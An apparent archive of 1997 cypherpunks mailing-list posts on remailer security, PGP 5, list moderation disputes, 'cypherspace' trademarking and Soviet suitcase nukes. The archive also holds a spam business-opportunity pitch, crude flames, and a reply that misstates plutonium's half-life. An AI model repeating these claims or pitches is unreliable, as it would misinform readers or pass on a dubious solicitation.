It's probably a good idea to set up your mailer so that it discourages
transmission of unencrypted mail.  This could be as simple as a
sequence of questions: "Do you want to do this?", "Do you really want
to do this?", and "Are you absolutely one hundred percent sure that it
is a good idea to put this message on tape at Fort Meade for
eternity?"  But, you could make more amusing warnings.  For example,
the mailer could convert your message into a front page article for
the New York Times and show you what it will look like.

Agencies which handle encrypted communications typically track every
message sent.  We should do the same thing.  Most people probably do
this in an informal way, but really slick tools for doing this would
have their uses.

This is especially true when managing an identity.  Not only would it
be nice to track every transmission in a nice easy to assess way, but
also track exactly how it was transmitted, the precise time of
transmission, and the remailers used to deliver it.

This raw information would be neat to have, but it wouldn't get really
useful without an analysis tool.  For instance, you could see how much
your identity depends on the security of certain remailers.  If you
use one remailer in your chains a lot, you might want to have
something which warns you that you are becoming overly dependent on
that remailer.  Or, you might want to run "what if" scenarios to see
if you would be vulnerable if a particular set of remailers were
compromised.

If the analysis tool were really good, it would hunt for weaknesses
based on known remailer attacks.

And, naturally, for proper identity management it would be important
to keep a running score for the odds that each identity were
compromised and by which threats.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDh0V5aWtjSmRH/5AQFyFwf+OhIbig7B/njU1yTlDdIuBHs3jpYyH6Ol
/+Cjk9X2MbFkYGec3vm8muf1alGI/8ZH+NV73cXry1rN8FqdIY/eoJX5OoRhTQpa
ajQFNnSaufbY2xgx45o7S+jFCFGaasInjsvl7q78iH8JL2seXgG3t7HNsK/SZOqD
lZynyUqCaVssiSTkDHiZx72TUPJbhUCOvkoKdiy5evQlN7PPyKNmajB9INbzin7z
qKqfyyHyFR+Gu618IojassyZ9wuEzbjMStTRMf8TGOo8yJWaH0+W7KX9JHVF3Zdv
EjINSw7EBxMAOk83AY9YP0nuLJnwaEoloKifX6D+MmQ+Jx9Js2ocuA==
=HUZ7
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 6 Oct 1997 22:44:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: The Right to Work for Nobody / Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <199710061355.OAA01789@server.test.net>
Message-ID: <3438F7E2.7BAE@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> Tim May <tcmay@got.net> writes:
> > I agree that an employer has a "right" to read employee mail, sent on
> > company time with company resources.
...
> > Further, while businesses have every right to monitor their workers (Hey,
> > I'm not saying I _like_ this, just that the alternative of banning such
> > monitoring would be abusive to a property owner's rights)...

I hate to inject too strong a note of reality into arguments that I
would like to agree wholeheartedly with, but I believe that there has
been so much thievery of both property and rights (individual and
corporate) that it is extremely difficult to make a strong case for
any pure argument any more.
First, the federal government gives a business confiscated land to
support a failing industry, the state gives them huge tax breaks
to move from elsewhere, the city does the same, while taxing you
even more to support the grand growth schemes that the mayor and
council members are getting rich on, and then the company announces
that you can 'choose' not to work there if you don't like their
rules.

> Your "choice" not to work for a company which uses software like
> pgp5.5 is likely to become ever more limited if corporates adopt this
> type of policy.  They will be conditioned to expect this.  Governments
> will of course encourage corporates to use such software.

In Canada, one could 'choose' not to work for Safeway Stores, but the
chain would come into a community and undersell everyone until the
locals were run out of business, then raise prices dramatically.
In theory, you could choose to *not* work for Safeway, but in reality,
there was no one else left *to* choose to work for in the grocery 
business.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <mm@apple.byte>
Date: Mon, 6 Oct 1997 23:15:15 +0800
To: cypherpunks@toad.com
Subject: $ 150,000 / Re: C2Net offers Vulis $100,000 for not talking about Stronghold
In-Reply-To: <199710061154.NAA24615@basement.replay.com>
Message-ID: <3438FBB7.138C@apple.byte>
MIME-Version: 1.0
Content-Type: text/plain



Tom Weinstein wrote:
> 
> Anonymous wrote:
> > Sameer Parekh called Dmitry Vulis on the phone today and offered him
> > $100,000 if Vulis promises not to publicize the security flows that
> > Vulis has found in Stronghold, C2Net's only remaining product.
> 
> I bid $ 125,00.00 for exclusive rights to the information.
> 
> Not that it is ethical to do so, but this message looks like a forgery,
> so there is no reason that it should reflect on me, eh? (<--see, like
> Toto says--check the headers, too.)
> But if someone *did* think it was from me, then they would know who
> to contact by private, encrypted email (before Thursday, when I'm
> going out of town), eh? (<-- see, I told you!)
> 
> Maybe Tom Weinstein (maybe not)

This is also an obvious forgery, but if it weren't, then I bet that
I would offer $ 150,000.00 for exclusive rights to the information.

Anyone gullible enough to think this isn't a forgery could contact
me by private, encrypted email at my *real* address, below.

Martin Minow
minow@apple.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 6 Oct 1997 19:03:08 +0800
To: aldius@mindless.com
Subject: PGP5 uses El Gamal _not_ DH
In-Reply-To: <199710060054.RAA02677@toad.com>
Message-ID: <199710060817.JAA00800@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Aldius <aldius@mindless.com> writes:
> The reason for having two key types for PGP5 is that DH is only capable
> of key distribution, not signing.  

DH is an interactive key negotiation protocol.

El Gamal is the key exchange algorithm used in PGP5.  For some reason
PGP Inc insists on calling El Gamal "DH".  El Gamal is a variant of
DH; so it is related.  But El Gamal is not DH, and it is bad
terminology to call it DH.

The only reason I can think that they insist on calling El Gamal "DH"
at every opportunity is that they perhaps think that the name DH
(Diffie-Hellman) is more widely known, and want to give people warm
fuzzies "oh I've heard of that algorithm".

> and DSS is only capable of signing.  Hence, you require one key to
> sign, and one to distribute the session key.

right.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Mon, 6 Oct 1997 21:33:51 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Risks of using usually-reliable information sources in your  programs
In-Reply-To: <3.0.3.32.19971005191732.00688c2c@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.971006090219.11082Z-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 5 Oct 1997, Bill Stewart wrote:

> to pick the more reliable remailers based on "Raph"'s statistics,
> so adding records for very reliable bogus remailers is a win.

Incidentally, I think the patches I have for premail would probably
reduce the effects of an attack like this. It adds a
reliability-threshold and latency-threshold. Any remailer more reliable
than the reliability-threshold (recommended: 99.5%) is treated as if the 
uptime was 100%. Latencies lower than the latency threshold are treated
as zero. On a good day, this means there are several remailers which
will score exactly the same before the shuffling factor is added. The
four spook remailers listed would all score the same as squirrel and
bureau42, which have latencies exceeding 3 hrs:

recovery remailer@biglouie.fbi.gov        ############     0:01  99.99% @
payswell remailer@digicrime.com           ############     0:01  99.99% @
trustme  trustme@trustme.nsa.mil          ************     0:59  99.99% @
mulder   mulder@juno.com                  #*#*##*#*#*#     0:57  99.98% @
cracker  remailer@anon.efga.org           +*+*+***++*+    15:42  99.99% @
nym      config@nym.alias.net             **#**###****      :39  99.99%
jam      remailer@cypherpunks.ca          +*++*++++++*    22:24  99.98% @
redneck  config@anon.efga.org             ############      :37  99.98%
privacy  remailer@privacynb.ml.org            #*#*****     1:47  99.98% @
neva     remailer@neva.org                --+*-+**+**-  1:15:36  99.97% @
mix      mixmaster@remail.obscura.com     + -*********    40:27  99.83% @
winsock  winsock@rigel.cyberpass.net      -------..+-   9:45:21  99.79% %
squirrel mix@squirrel.owl.de              ------+--+-   3:04:59  99.74% @
bureau42 remailer@bureau42.ml.org         -----------   3:09:39  99.53% @
reno     middleman@cyberpass.net          +* *  + +++*    30:42  99.44% #
replay   remailer@replay.com              **** *   ***     4:01  99.00% #
hera     goddesshera@juno.com             ---- .------  5:18:04  97.77%
htuttle  h_tuttle@juno.com                ---- - ----+  3:02:37  97.49% #
arrid    arrid@juno.com                   -  -   -.--   9:23:33  81.91%
tea      tea@notatla.demon.co.uk            -          19:27:50   1.92%

@ = all score identically (not counting other bonuses from various config
    flags), 100% uptime, 0 latency
% = 100% uptime
# = 0 latency

See http://anon.efga.org/anon/premail.efga.patch. 

This is not why I came up with the patch. Originally I came up with the
reliability-threshold when I was running as a middleman and wanted to make
sure I was picking good remailers. I find that for chaining, chain lengths
of 1 and 2 tend to be somewhat slower on average than with standard
premail. However, longer chains tend to be significantly faster and even
more reliable. Check out http://anon.efga.org/anon/remailer-chains.html
and look at the distribution of remailers selected in chains, and compare
my random chain stats against Raph's. (I have a couple of remailers he
doesn't, AFAIK.)

> The security would be improved if Raph signed the weekly file,
> but that also requires people using the file to check it with PGP
> and not just grep out the relevant lines for their programs' use.

Agreed, but the danger from attack like this lies with automatic chaining
programs, where the user may not even be aware of what remailers are on
the list, or what remailers were chosen. A PGP-signed version would
improve things, particular if a special signing key is used, and that key
is stored in a separate keyring. This PGP-version may have to be available
separately from the regular remailer list to avoid confusing chaining
programs.

I'll see if I can whip up a PGP-signed version of the EFGA remailer list
by the end of the day.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.athens.net/~dustman   mailto:andy@CCMSD.chem.uga.edu       <}+++<


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: noconv

iQEPAwUBNDjmWxOPBZTHLz8dAQGjaAfPY9KOWVqyi6egyZqAxt+SOCCeWmfWTxvr
UUqWdT4NcdwH52jJnlflLsUZr6c2TtgGoYkXrltH+rzhTNWWGfTSuQgyshuNNRfP
Lk6W/y8bsaroFrFccME5vq4M+L9izQekosf+e1muu4X9tJKk5ksCS5bfOQaVLQum
ueouSvQOc3dmn4J64R5Wih6iMOrsYusqIj30Dz3SZFjOCbNb7VC66WdF/GafHItw
RJiRVZnOsT0igtqTe25ywO097fiGhwld4L2rOGjsLUag4vqbjaf+5NCGl3Dshq0C
fcmSPfYXGAvk3/ZxjSjQ2VE1OAEPvde4MiQrTj9PdvFflA==
=Xz3V
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bob17@bigfoot.com
Date: Mon, 6 Oct 1997 22:41:39 +0800
To: cypherpunks@toad.com
Subject: The rumors ARE true
Message-ID: <199710060925.e-mail@Sue M.com>
MIME-Version: 1.0
Content-Type: text/plain




Hi 



If you follow business journals you may have heard about a new  phone 
company that has patent pending technology that will revolutionize   
the the way we communicate.

They are using technology that allows us to use our existing phones 
in a manner similar to the the way we communicate on the internet 
now.  This is causing the long distance rates to tumble to low prices 
that have been unheard of  before this.

What's more this new technology will eventually allow us to offer an 
unlimited usage low flat rate plan as well as being able to have up 
to 8 phones, computers or fax machines all working off of one phone 
line at the same time.  All this without having to purchase any new 
phones or equipment.

This technology is so advanced that the Richard Marriott family of 
Marriot Hotels has invested 74 Million Dollars in the company for 
just a 38% interest in the company. 

If you would like more information on the service or business opportunity
with this new company just send an e-mail to" mailto:bob17@bigfoot.com" 
with the words"the rumors are true" and I will send you information 
right away.

Sincerely,
Bob

phone    (847) 462-1937
e-mail   mailto:bob17@bigfoot.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Oct 1997 00:40:13 +0800
To: Adam Back <eb@comsec.com
Subject: Re: Secure phone
In-Reply-To: <199710032326.QAA19691@comsec.com>
Message-ID: <v0300784db05ec180b158@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:25 PM -0700 10/5/97, Adam Back wrote:
>On the other hand, using persistent key public key crypto, Tim has
>been signing his posts recently, and I have an ancient public key of
>his stashed away which his new key is signed with.  If we were able to
>construct a protocol to bolt on top of the reading of hashes, we could
>have much greater protection against MITM.

Of course if you can use PGP as well as the secure phone, you can use PGP
to exchange a pad of one-time passwords.

>
>To answer the other poster who opined that you had no business saying
>things to people who's voices you don't recognize: nonsense.
>
>We're saying things all the time to people who's voices we've _never_
>heard with PGP.

Are you really willing to discuss with Tim that suitcase you're planning on
bringing to the states.  :-)


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Pomes <ppomes@Qualcomm.com>
Date: Tue, 7 Oct 1997 00:44:26 +0800
To: cypherpunks@toad.com
Subject: Re: russia_1.html
In-Reply-To: <199710061350.GAA06107@toad.com>
Message-ID: <27763.876155489@zelkova.qualcomm.com>
MIME-Version: 1.0
Content-Type: text/plain



Even a fizzle with a yield in the hundreds of tons equivalent is respectable.
Plutonium decay products have a high neutron cross-section and steal the
fast neutrons necessary for the chain reaction to build.  Sufficient amounts
can kill off the last three or more re-doublings which is where most of the
explosive power comes from.  On the other hand finely dispersed Pu and
other fission products plus the irradiated material that becomes radioactive
will make a few square miles dangerous to inhabit for several years.

/pbp






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 6 Oct 1997 19:00:10 +0800
To: dlv@bwalk.dm.com
Subject: "moderation experiment" (was Re: Stronghold)
In-Reply-To: <2mw5De1w165w@bwalk.dm.com>
Message-ID: <199710060836.JAA00816@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> Adam Back <aba@dcs.ex.ac.uk> writes:
> > Unfortunately I wasn't on cypherpunks-unedited at the time, but I
> > thought that it was immediate send out from toad.com without going via
> > Sandy.
> 
> Going over my notes I see that at least one of my submissions - the
> one quoting the C2Net lawyer letter in its entirety - didn't appear
> even on cypherpunks-unedited.

I think I saw this claim made before around the time of the "moderation
experiment".

The only ways I can see that this could have happened are either that:

  i)  John Gilmore started editing cypherpunks-unedited at Sandy/C2net's
      request

  ii) cypherpunks-unedited was edited all along by someone (John or Sandy)

i) is sort of feasible, perhaps there are others who were on unedited
and were counting who could confirm this.  Toto I think was.

ii) is hard to believe because the fact that something is edited shows
-- when the editor is sleeping you get lag.

I'm fairly sure I didn't see the C2 legal letter you posted yesterday
before.

Can anyone else can confirm?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Oct 1997 00:45:33 +0800
To: "Peter Trei" <cypherpunks@toad.com
Subject: Re: russia_1.html
In-Reply-To: <199710061350.GAA06107@toad.com>
Message-ID: <v0300784fb05ec3dd3fb9@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:01 AM -0700 10/6/97, Peter Trei wrote:
>The plutonium cores of thermonuclear devices have a limited shelf
>life - he claimed 6 years, which jibes with what I've heard from
>other open sources. Fission products build up in the cores which
>can poison a chain reaction. Thus all Pu based devices need to have
>the cores periodically removed and replaced with new ones, while the
>old ones have to go through a non-trivial reprocessing stage to
>remove the fission products.

I think this comment is in error.  Plutonium has a half life on the order
of 250,000 years, so very little decay products would build up in 6 years.
The tritium used in thermonuclear weapons has a much shorter half life, and
would need to be replaced about that often.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Mon, 6 Oct 1997 22:04:56 +0800
To: cypherpunks@toad.com
Subject: Re: russia_1.html
Message-ID: <199710061350.GAA06107@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> From:          Harka <root@DosLinux>
> US Sees No KGB Role in Russia's Nuclear Arms
> 
>    WASHINGTON (Reuter) - The United States Friday rejected the claim of a
>    Russian scientist that Moscow had secretly developed nuclear "suitcase
>    bombs" under KGB orders in the 1970s specifically for terrorist
>    purposes.
>    
>[...]
>    
>    Testifying before Congress Thursday, Alexei Yablokov, a respected
>    scientist who served on the Russian National Security Council,
>    contradicted statements by Russian officials denying the existence of
>    the weapons and buttressed claims that many of them have gone missing.
>    
>    "I am absolutely sure that they have been made," he told the House
>    Military Research and Development subcommittee.
>    
>    The issue arose when former Russian National Security Adviser Alexandr
>    Lebed alleged that up to 100 portable suitcase-sized bombs were
>    unaccounted for since the 1991 breakup of the Soviet Union.
>    
>    According to Lebed, who has agreed to testify before the House
>    committee later this month, the devices have an explosive capacity of
>    one kiloton -- the equivalent of 1,000 tons of TNT -- can be activated
>    by a single person and could kill as many as 100,000 people.
>    
>    Yablokov said he had spoken to the scientists who worked on the
>    weapons and so was certain of their existence.

[...]

I saw part of this on CSPAN. Yablokov made one point that I felt was 
interesting.

These devices were made during the Cold War period, and it's 
extremely unlikely that any could have been made since
the Soviet Union fell apart. 

The plutonium cores of thermonuclear devices have a limited shelf
life - he claimed 6 years, which jibes with what I've heard from
other open sources. Fission products build up in the cores which 
can poison a chain reaction. Thus all Pu based devices need to have
the cores periodically removed and replaced with new ones, while the
old ones have to go through a non-trivial reprocessing stage to 
remove the fission products. 

Thus, a nuke left on the shelf eventually turns into a dud. The time
since the Soviet Union fell (which is the upper limit of the last 
time these particular 'suitcases' could plausibly have been repacked)
is long enough ago that they are now either duds or becoming 
unreliable (I don't know if the degredation results in gradually
decreasing yield, or if one day they simply don't work).

Of course, even contaminated Pu in the hands of a terrorist (or a
State) is a disquieting notion.

Peter Trei
trei@Process.com
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPisser <cp@dev.null>
Date: Tue, 7 Oct 1997 00:17:23 +0800
To: cypherpunks@toad.com
Subject: 18" (WAS: Re: Stronghold 1/2)
In-Reply-To: <199710061516.LAA19565@jafar.issl.atl.hp.com>
Message-ID: <34390B46.4261@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jeff Barber wrote: 
> Dr.Dimitri Vulis KOTM writes:
> > "Moderation" is a misnomer. C2Net engaged in outright fraud by providing
> > a list which C2Net claimed would contain the articles rejected by the
> > C2Net moderator, then censoring articles from both the censored and the
> > uncensored lists. At least one of my articles (not the one about Stronghold;
> > the one quoting the threatening letter from C2net's lawyers) didn't make
> > it even to the "unedited" list.

> this is sufficient to "prove" to most of us the
> charge of "liar" against you (ignoring the several hundred other
> examples that might come to mind from the last couple of years).

  Lies, like Beauty and Cocksize, are in the aye's of the beholders.

> I don't particularly care about this except that it reinforces why
> your credibility is so low here.
 
  The last bid I saw on the list was $ 150,000.00.

> > Jeff Barber <jeffb@issl.atl.hp.com> wrote:
>    [quoting Dimitri:]
> > >> Lucky is lying: the censored articles were also filtered from the list which
> > >> was billed as being unfiltered.
> > >
> > >This is revisionist history.  I can't recall any intimation at the
> > >time that any messages were filtered from the unfiltered list.

  Gee, then you must have been one of the list members who were so busy
pissing on anyone that disagreed with your position that you paid no
attention to things you didn't want to see, and managed to block out
the posts which flatly contradicted what you wanted to believe.

  Me? Well, I just pissed on everyone in sight, and had a jolly good
time doing it, but I also subscribed to all three lists at one point
or another, and I read the message headers of most of the posts to
the list both before, during and after the moderation experiment.
{or censorship attack, depending on the angle you were pissing from}

> > If you can't recall, I'm quoting a bunch of stuff below. At least one of
> > my articles, the one quoting the threatening letter from C2net's lawyers,
> > didn't make it even to the "unedited" list.
> 
> Since obviously none of us who were on the -unedited list can say for
> sure whether we received everything sent to it, I can't say with
> certainty this never happened.  But....

  Yes we can...
  Unless you were on a CypherPunks mailing list in a parallel universe
(not to be discounted, since some very strange things went on during
that period of time), there were more than a few posts between Sandy
and the list/list-members in which he spoke openly about the posts 
which he shitcanned, his (faulty) reasoning behind it, and a variety of
other troubling 'rules and regulations' in which 'flameless' posts which
made reference to 'flaming' posts, even if not quoting the 'offensive'
part (such as 'bad boy!), became 'flames-by-association.'
  In the end, Sandy was drawing more Crayola lines between the list
members than the CypherPunks conspiracy-theory maniacs. {The major
difference being that Sandy was using the 'new' colors, which everyone
knows are part of the worldwide plot by the underground reptilian 
Nazis.}

> The fact that *you* are constantly accusing people you don't
> apparently know of engaging in various sexual acts or holding a certain
> sexual orientation is evidence enough that you are unreliable.  It
> seems to be your stance that you are free to fabricate anything the
> truth of which cannot be utterly *disproven*.

  Been there, done that, stole the T-shirt, and got out of Dodge without
getting killed or caught. (Although there are still rumors of Tim May
"headed North.")
  As they say in Texas (or should), "Even a bad shot is right 50% of the
time--if he uses a shotgun."
  Read the News of the Weird, sometime. It uses only 'real' facts from
the 'respectable' media and they still manage to paint a much more
bizarre picture of reality than even the looniest of CypherPunks.

> And if you're
> simply "throwing rocks" at Sameer with no substance behind your
> allegations, the rest of us are unlikely to come to your "defense".

  Who died and made *you* Chief CypherPunks Spokesperson?
  (Anonymous? TruthMonger? Nobody?)

> Also, here's a little hint (from a non-lawyer): truth is generally a
> very good defense to a libel suit.  You may squirm and dance and claim
> you don't want to deal with the hassle or expense of a suit, but we
> all know precisely what that really means...

  Yes...and we all disagree, nonetheless.
  We are getting away from the important issue in this thread, which is
that CypherPunks are most effective when engaging in pissing contests
and shooting themselves and each other in the foot.
  This makes the AOL'ers too nervous to stick around long, helps us to
work off angry energy which might otherwise cause our hands to shake 
when working on sensitive nuclear devices, and gives people in the
'Home' more constructive and destructive things to do than sitting
around all day cutting out those damned paper dolls. (And boy am I
getting tired of that).

  If you choose to reply to this post, please be polite. I am a very
sensitive person, and easily offended.

CypherPisser





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 7 Oct 1997 01:46:06 +0800
To: Bill Stewart <kfong@ix.netcom.com
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <3.0.3.32.19971005185236.00688c68@popd.ix.netcom.com>
Message-ID: <v03102802b05ecd3d7f30@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:52 PM -0700 10/5/97, Bill Stewart wrote:
>Sigh.  A company called I-Planet is trying to trademark the term
>"Cypherspace", even though we've been using it for a couple of years
>in the cypherpunk community.  They're doing an IPSEC Virtual Private Network,
>with friendly HTML administration; http://www.i-planet.com/P2cypherpb.html .
>Looks like interesting stuff, and I wish them luck except in TMing the
>name :-)
>
>I looked on AltaVista and HotBot, and the earliest reference I found
>was from a 1994 article by Tim May.  I'd be interested in finding any
>earlier refs.
>There's also a line of comic books using the name, and a Java Applet
>from 1996, plus references from I-Planet in late 96 and 97.
>Anybody know if the term's been used in print in the dead-tree press?
>
>http://www-swiss.ai.mit.edu/6095/assorted-short-pieces/may-police-state.txt 05-
>Oct-94


Seems to me I-Planet can't trademark a word which has been in usage by many
of us for several years. What could they do, demand that we stop using a
word we in all likelihood coined? Remove our old writings from the Web?
(How?)

We were using the term "cypherspace" in '93-94, especially in the physical
meetings in Mountain View. I recall first hearing it from Eric Hughes, who
may have gotten it from Jude Milhon, or elsewhere. The context was of a new
slogan:

"In cypherspace no one can read your screen."

(This being a takeoff on the "Aliens" tag line: "In space no one can hear
you scream.")

This usage was probably around mid-1993. I started using it to describe the
obvious thing, the "space" our messages, list, etc. live in.  There are
references in my Cyphernomicon, published in September '94, but written
over the previous 8 months, to cypherspace, as in the section on "Data
Havens," where I wrote: "One of the powerful uses of strong crypto is the
creation of journals, web sites, mailing lists, etc., that are
"untraceable." These are sometimes called "data havens," though that term,
as used by Bruce Sterling in "Islands in the Net" (1988), tends to suggest
specific places like the Cayman Islands that corporations might use to
store data. I prefer the emphasis on "cypherspace.""

I don't know about trademark law, and about whether "prior use" invalidates
an attempted trademark.  It seems unrealistic for them to lay claim to a
word someone else invented.

Certainly if this company gets a trademark, it'd be interesting to repost
some old posts, or make references to the comic book, Java applet, etc.,
and then see if they demanded that history be expunged.

--TIm May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Mon, 6 Oct 1997 22:53:51 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: The Child Molester Prevention and Effective Sentencing Act
In-Reply-To: <v0300780fb051e6b8720d@[168.161.105.141]>
Message-ID: <97Oct6.103925edt.32260@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 26 Sep 1997, Declan McCullagh wrote:

> 
> The problem with all the current bills like original SAFE and ProCODE is
> that they're too wimpy, abstract, arcane. Who cares about protecting
> business? Nobody, at least not when you'll be dubbed soft on crime. So
> what's the one thing everyone cares about and wants to protect?
> 
> Yes, that's right: CHILDREN!!!! I think someone should introduce a bill
> called "The Child Molester Prevention and Effective Sentencing Act of
> 1997."
> 
> The summary: "To reduce crime, protect our children, and secure our private
> communications from child molesters, pedophiles, and various perverts, this
> bill would spur the development of privacy-enhancing technologies by
> removing all export controls on encryption products."
> 
> Who would ever vote against the CMPA? Who wants to be soft on child
> molesters and random perverts? Not even Louis Freeh could successfully
> oppose this one...
> 
> -Declan
> 
> (Okay, okay. It's a Friday. Time for me to go home...)

I remember one of the NET moderators asked why they should use encryption.

What if you want to send a message to your child saying you will be late
after school.  What is to prevent a pedophile from forging such a message?
And if a pedophile intercepts such a message, couldn't he arrive 5 minutes
early saying that "dad changed his plans again and sent me...".

Now, Rep. Tauzin wants to make it illegal to listen in to any "private" 
radio communication (yes listen, not just repeat), since Gingrich couldn't
have access to encrypted communication and someone listened in on his cell
phone.  One law prevents security from being available, so they think that
a second law will prevent people from listening in.

Repealing a law preventing fences is more effective than adding a
draconian penalty for tresspass. 

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 6 Oct 1997 23:14:35 +0800
To: Bill Stewart <kfong@ix.netcom.com
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <3.0.3.32.19971005185236.00688c68@popd.ix.netcom.com>
Message-ID: <v03110741b05eaabe4fcf@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



cypherspace.com has been held by an artist in Santa Fe for a long time...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 6 Oct 1997 23:07:56 +0800
To: cypherpunks@cyberpass.net
Subject: New Zealand  encryption rolled by Microsoft
Message-ID: <v03110743b05eab1363c6@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


From: "Blair Anderson" <blair@technologist.com>
To: "dcsb@ai.mit.edu" <dcsb@ai.mit.edu>
Date: Mon, 06 Oct 97 10:07:45 +1300
Priority: Normal
MIME-Version: 1.0
Subject: New Zealand  encryption rolled by Microsoft
Sender: bounce-dcsb@ai.mit.edu
Precedence: bulk
Reply-To: "Blair Anderson" <blair@technologist.com>

New Zealand  encryption rolled by Microsoft..

Despite adopting a succesfull crypto protocol ex Switzerland, Microsoft
has been succesful in "converting" the local banks to its "built in"
scheme..

details at..  http://www.aardvark.co.nz/n296.htm

Cheers,



Blair Anderson  (Blair@technologist.com)

International Consultant in Electronic Commerce,
Encryption and Electronic Rights Management

   "Techno Junk and Grey Matter"  (HTTP://WWW.ISDN.NOW.CO.NZ)
   50 Wainoni Road, Christchurch, New Zealand

          phone 64 3 3894065
          fax     64 3 3894065

Member 	Digital Commerce Society of Boston

---------------------------- Caught in the Net for 25 years
----------------------------



For help on using this list (especially unsubscribing), send a message to
"dcsb-request@ai.mit.edu" with one line of text: "help".

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
